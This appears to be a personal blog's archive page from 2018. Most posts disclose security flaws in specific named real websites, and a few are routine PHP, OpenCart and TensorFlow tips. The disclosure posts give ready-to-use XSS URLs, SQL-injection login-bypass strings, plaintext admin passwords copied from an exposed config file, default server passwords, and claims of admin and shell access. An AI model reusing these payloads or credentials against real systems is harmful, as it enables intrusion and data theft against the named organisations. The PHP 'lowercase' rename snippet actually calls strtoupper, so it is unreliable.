Skip to main content

Posts

Showing posts from May, 2018

http://www.wordze.com | errors, path disclosure, *free* account creation

Path: /home/wordddze/ Mysql user: wordddze password: Some errors ____________ Warning: mysql_real_escape_string(): Access denied for user 'wordddze'@'localhost' (using password: NO) in /home/wordddze/public_html/index.php on line 656 Warning: mysql_real_escape_string(): A link to the server could not be established in /home/wordddze/public_html/index.php on line 656 Warning: mysql_real_escape_string(): Access denied for user 'wordddze'@'localhost' (using password: NO) in /home/wordddze/public_html/index.php on line 657 Warning: mysql_real_escape_string(): A link to the server could not be established in /home/wordddze/public_html/index.php on line 657 Warning: mysql_real_escape_string(): Access denied for user 'wordddze'@'localhost' (using password: NO) in /home/wordddze/public_html/index.php on line 658 Warning: mysql_real_escape_string(): A link to the server could not be established in /home/wordddze/public_html/inde...
Post a Comment
Read more

Install tensorflow on windows 10 - the easy way (?)

Install WinPython  (I installed WinPython-64bit-3.6.0.1Qt5) run WinPython Powershell Prompt.exe To check if you have the latest pip run: pip install --upgrade pip To install tensorflow run: pip install --upgrade tensorflow To install virtualenv (optional - virtual environment) run: pip install --upgrade virtualenv
Post a Comment
Read more

incomedia X5 login - do not use your regular password and make sure to have php working.

possible config files res/config.php res/access.inc.php example http://www.ravennaballetstudio.it/res/access.inc.php array( 'groups' => array('xa0n99c9'), 'id' => 'h2d0n68h', 'name' => 'admin', 'password' => 'rbs', 'page' => 'email.html' ), 'cliente' => array( 'groups' => array('h2d0n68h'), 'id' => '9y754byl', 'name' => 'cliente', 'password' => 'rbs', 'page' => 'area-protetta.php' ) ); // Admins list $imSettings['access']['admins'] = array('h2d0n68h'); // Page/Users permissions $imSettings['access']['pages'] = array( '32' => array('9y754byl')); // End of file access.inc.php
Post a Comment
Read more

president.gov.af | sql injection, xss

this is just an error with informations. Do not ask for the SQLi! http://www.president.gov.af/sroot_eng.aspx?id=75 Note: Fixed (?) on 08/05/2018 sample error -------- [FormatException: Input string was not in a correct format.] System.Number.StringToNumber(String str, NumberStyles options, NumberBuffer& number, NumberFormatInfo info, Boolean parseDecimal) +7467367 System.Number.ParseInt32(String s, NumberStyles style, NumberFormatInfo info) +119 System.String.System.IConvertible.ToInt32(IFormatProvider provider) +46 System.Convert.ChangeType(Object value, Type conversionType, IFormatProvider provider) +373 System.Data.SqlClient.SqlParameter.CoerceValue(Object value, MetaType destinationType) +4870818 [FormatException: Failed to convert parameter value from a String to a Int32.] System.Data.SqlClient.SqlParameter.CoerceValue(Object value, MetaType destinationType) +4870015 System.Data.SqlClient.SqlParameter.GetCoercedValue() +32 System.Da...
Post a Comment
Read more

Manuale operativo Poste Italiane Elsag Bailey

Download (vecchio) Manuale operativo Poste Italiane. Apparecchiature e software non dovrebbero essere più in uso e non ci dovrebbero essere problemi nel far scaricare questo manuale che è stato scansionato prima di essere buttato definitivamente. Elsag Bailey SISTEMA AUTOMAZIONE SERVIZI ACCESSORI GUIDA ALL'ESERCIZIO OPERATIVO UFFICIO DI AVVIAMENTO/DISTRIBUZIONE Apparecchiature commerciali usate M24-XD OLIVETTI NETSTRADA 1000 OLIVETTI WS 785 OLIVETTI WS 510 OLIVETTI Microbar Barcode International AROS Sentinel 3 Green 75 DIGICOM Modem Fax 33.6 v.34+ LEXMARK 2390
Post a Comment
Read more

st.com | sql injection, data leak

https://blog.st.com andrewroberts colinlong daniele michaelmarkowitz gerardcronin olm_writer pamelamccracken stblogadmin .. bugged plugin onesignal-free-web-push-notifications https://blog.st.com/wp-content/plugins/onesignal-free-web-push-notifications/ https://blog.st.com/wp-content/plugins/onesignal-free-web-push-notifications/readme.txt archived page: http://archive.is/1IY0F __________ https://smarter.st.com stadmin
Post a Comment
Read more

http://devpaks.org | data leak, code injection

Some informations leaked from warnings and it was easy to better understand  how to inject code. Warning: Declaration of AtElementCreator::create_element($doc) should be compatible with ElementCreator::create_element($doc, $content = NULL) in /DISK2/WWW/devpaks.org/www/epf/helpers.php on line 0 Warning: Declaration of DotElementCreator::create_element($doc) should be compatible with ElementCreator::create_element($doc, $content = NULL) in /DISK2/WWW/devpaks.org/www/epf/helpers.php on line 0 Warning: Declaration of LinkElementCreator::create_element($doc, $content) should be compatible with ElementCreator::create_element($doc, $content = NULL) in /DISK2/WWW/devpaks.org/www/epf/helpers.php on line 0
Post a Comment
Read more

http://www.brace.sinanet.apat.it/ | XSS

XSS in the login user http://www.brace.sinanet.apat.it/winair/winair_custom.avvio XSS http://www.brace.sinanet.apat.it/web/struttura.html?p_livello_1=2&p_main=web/centro.moni%22%3E%3Cscript%3Ealert(123);%3C/script%3E%3Cnone%20src=%22 http://193.206.192.215 In the errors we can see Oracle-Application-Server-10g/10.1.2.0.2 Oracle-HTTP-Server Server at 193.206.192.215 Port 7778
Post a Comment
Read more

http://www.confindustria.benevento.it/ | xss, sql injection, system compromise

simple XSS (via GET or POST) http://www.confindustria.benevento.it/moduli/ricerca/ricerca.php?campo=%3Cscript%3Ealert(document.cookie);%3C/script%3E archived (javascript that shows the cookie): http://archive.is/8WN7B Fatal error: Uncaught exception 'Zend_Db_Adapter_Exception' with message 'SQLSTATE[08004] [1040] Too many connections' in /usr/local/ZendFramework-1.8.5-minimal/library/Zend/Db/Adapter/Pdo/Abstract.php:138 Stack trace: #0 /usr/local/ZendFramework-1.8.5-minimal/library/Zend/Db/Adapter/Pdo/Mysql.php(96): Zend_Db_Adapter_Pdo_Abstract->_connect() #1 /usr/local/ZendFramework-1.8.5-minimal/library/Zend/Db/Adapter/Abstract.php(828): Zend_Db_Adapter_Pdo_Mysql->_connect() #2 /usr/local/ZendFramework-1.8.5-minimal/library/Zend/Db/Adapter/Abstract.php(898): Zend_Db_Adapter_Abstract->quote('TITOLO_ITALIANO', NULL) #3 /usr/local/ZendFramework-1.8.5-minimal/library/Zend/Db/Select.php(930): Zend_Db_Adapter_Abstract->quoteInto('variabile=?...
Post a Comment
Read more

infn.it - access to the local network

With a bit of efforts with stuff that I'm not used to I solved the "puzzle" and it's possible to use bugs and misconfigurations to have, also thanks to public informations (not a bad thing), access to the local network. /afs/lnf.infn.it/project/server/ archived error:http://archive.is/DRuA8 The error is related to this open source event management system https://github.com/indico/indico They are using shibboleth sso (single signon) federated identity management Publicly available Information: Info server http://www.lnf.infn.it/Calcolo/afs/ lxgw.lnf.infn.it (open via ssh to all users) lxplus.lnf.infn.it (open via ssh only from LNF lan) - info from mit.edu https://lost-contact.mit.edu/afs/lnf.infn.it/ http://archive.is/hshNP Old informations from afs7.lnf.infn.it, afs1.lnf.infn.it, afs2.lnf.infn.it, afs3.lnf.infn.it - Info servers ( old - the servers are 10+ ): http://calcolo.lnf.infn.it/index.php?option=com_content&view=article...
Post a Comment
Read more

iswatlab.eu - errors and old wordpress bug

Wordpress 4.7.1.0 - exploitable with content injection. To raise an error and get the path we go to the dear hello dolly. http://www.iswatlab.eu/wp-content/plugins/hello.php archived: http://archive.is/K3JUf Fatal error: Call to undefined function add_action() in /web/htdocs/www.iswatlab.eu/home/wp-content/plugins/hello.php on line 60
Post a Comment
Read more

PHP rename folders (or files) to lowercase

A fast way to rename folders (or files - with a small modification) to lowercase. $usrfilespath = 'yourfolder/';         if(is_dir($usrfilespath)) {             $files = scandir($usrfilespath);             foreach($files as $key=>$name){                 if($name !== '.' && $name !== '..' &&  is_dir($usrfilespath . '/' . $name)){                 rename( $usrfilespath . '/' . $name, $usrfilespath . '/' . strtoupper($name) );                 echo ( $usrfilespath . '/' . $name . '<br>' . $usrfilespath . '/' . strtolower($name) . '<br><br>' );                 }      ...
Post a Comment
Read more

slowmyfood.com | security problems

http://www.slowmyfood.com Server iis path from the errors: D:\inetpub\webs\slowmyfoodcom\ software Shopfactory there's a robots.txt in a subfolder http://www.slowmyfood.com/pub/robots.txt # robots.txt for http://ou-8918-jg.shopfactory.com/ User-agent: * Allow: * Disallow: */contents/pconfirm.html Disallow: */contents/progress.html Disallow: */contents/provider.html Disallow: */contents/reseller.html Disallow: */contents/ups.html Disallow: */contents/basket.php Disallow: */contents/*/changecurrency.html Disallow: */contents/*/customerdtl.html Disallow: */contents/*/login.html Disallow: */contents/*/orderterms.html Disallow: */contents/*/ordertotal.html Disallow: */contents/*/search.html Disallow: */contents/*/search_result.html Disallow: */contents/*/shipping_charge.html Disallow: */contents/*/thankyou.html Disallow: */contents/*/unsuccessful.html Disallow: */contents/*/V6*.html Disallow: */contents/*/website.html Sitemap: http://ou-8918-jg.shopfactory.com/sitemap.xml  ...
Post a Comment
Read more

Opencart - remove scrolling when adding products and keep the notification.

edit the common.js and make sure to use a copy in your custom theme. header.tpl change from: <script src="catalog/view/javascript/common.js" type="text/javascript"></script> to: <script src="catalog/view/theme/[yourtheme]/javascript/common.js" type="text/javascript"></script> in catalog/view/theme/[yourtheme]/javascript/ common.js comment ( // ) all the occurences of the following line  //$('html, body').animate({ scrollTop: 0 }, 'slow'); in the css do the following: /*add to the theme - stylesheet.css this part*/ .alert{     position:fixed;     width: 100%;     top:0;     left:0;     z-index:10000; }
Post a Comment
Read more

http://servizi5.cstsannio.it | default xampp password configuration problem

The website is linked from http://www.cstsannio.it/ (AVCP in the menu) and have several security problems related to various misconfigurations. http://servizi5.cstsannio.it:8080/xampp/ archived: http://archive.is/SesIG http://servizi5.cstsannio.it:8080/xampp/phpinfo.php archived: http://archive.is/qvOhW http://servizi5.cstsannio.it:8080/xampp/security.php archived: http://archive.is/hy33G the default password for daemon is still xampp For mysql the password of root is empty (mysqld is not running).
Post a Comment
Read more

Ordine dei Giornalisti - http://www.odg.it https://sigef-odg.lansystems.it - Sql injection, xss, system compromise

 http://www.odg.it Old version of Drupal with several security problems. It's possible to have admin access and upload a php shell. (2019-05 the problem is still there)  https://sigef-odg.lansystems.it Access as any user via sql injection. sample injection user: ' or ''=' password: ' or ''=' (2019-05 - they tried to fix the problem the previous injection doesn't work) New injection ' or ''=''-- sample screenshot Sample error  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and `password`=SHA2('',256) AND IFNULL(UFPC.eliminato,0) NOT IN (1,8,9)' at line 1 NOTE: I have not saved/stored any kind of confidential information and I have no criminal intents of any kind. 1958 --- 2018-04 - odg.it has been notified (2 times) of the problems via email . No reply received. ...
Post a Comment
Read more

trottabenevento.it - sql injection, data leak

http://www.trottabenevento.it/login.php a' or ''=' a' or ''=' Array ( [0] => 42S02 [1] => 1146 [2] => Table 'Sql1064148_1.log' doesn't exist ) First error Array ( [0] => 42000 [1] => 1064 [2] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'a', Ip = '95.238.158.239', Note='prova con email/password errata', Pagina='/veri' at line 1 ) 
Post a Comment
Read more

opencart 3.0.2 - How to convert older 2.x templates from tpl to twig

Converting the template from tpl to twig is somewhat easy to do. Download "php2twig" slightly modified (click here), on the fly, to have a working recursive file conversion (recursive glob function from php.net comments). The original source code can be found here: https://github.com/makinacorpus/php-twig-converter Copy php2twig in your theme folder (suggested). Go in your theme folder and run the following command: (windows) php.exe php2twig -e .tpl -ne .twig -r "c:/fullpath/to/template" (linux) ./php2twig -e .tpl -ne .twig -r /fullpath/to/template Save the output of php2twig to verify eventual problems. For sure the bulk work is mostly done by this useful script Note: the script doesn't convert correctly the {% endfor %}.
Post a Comment
Read more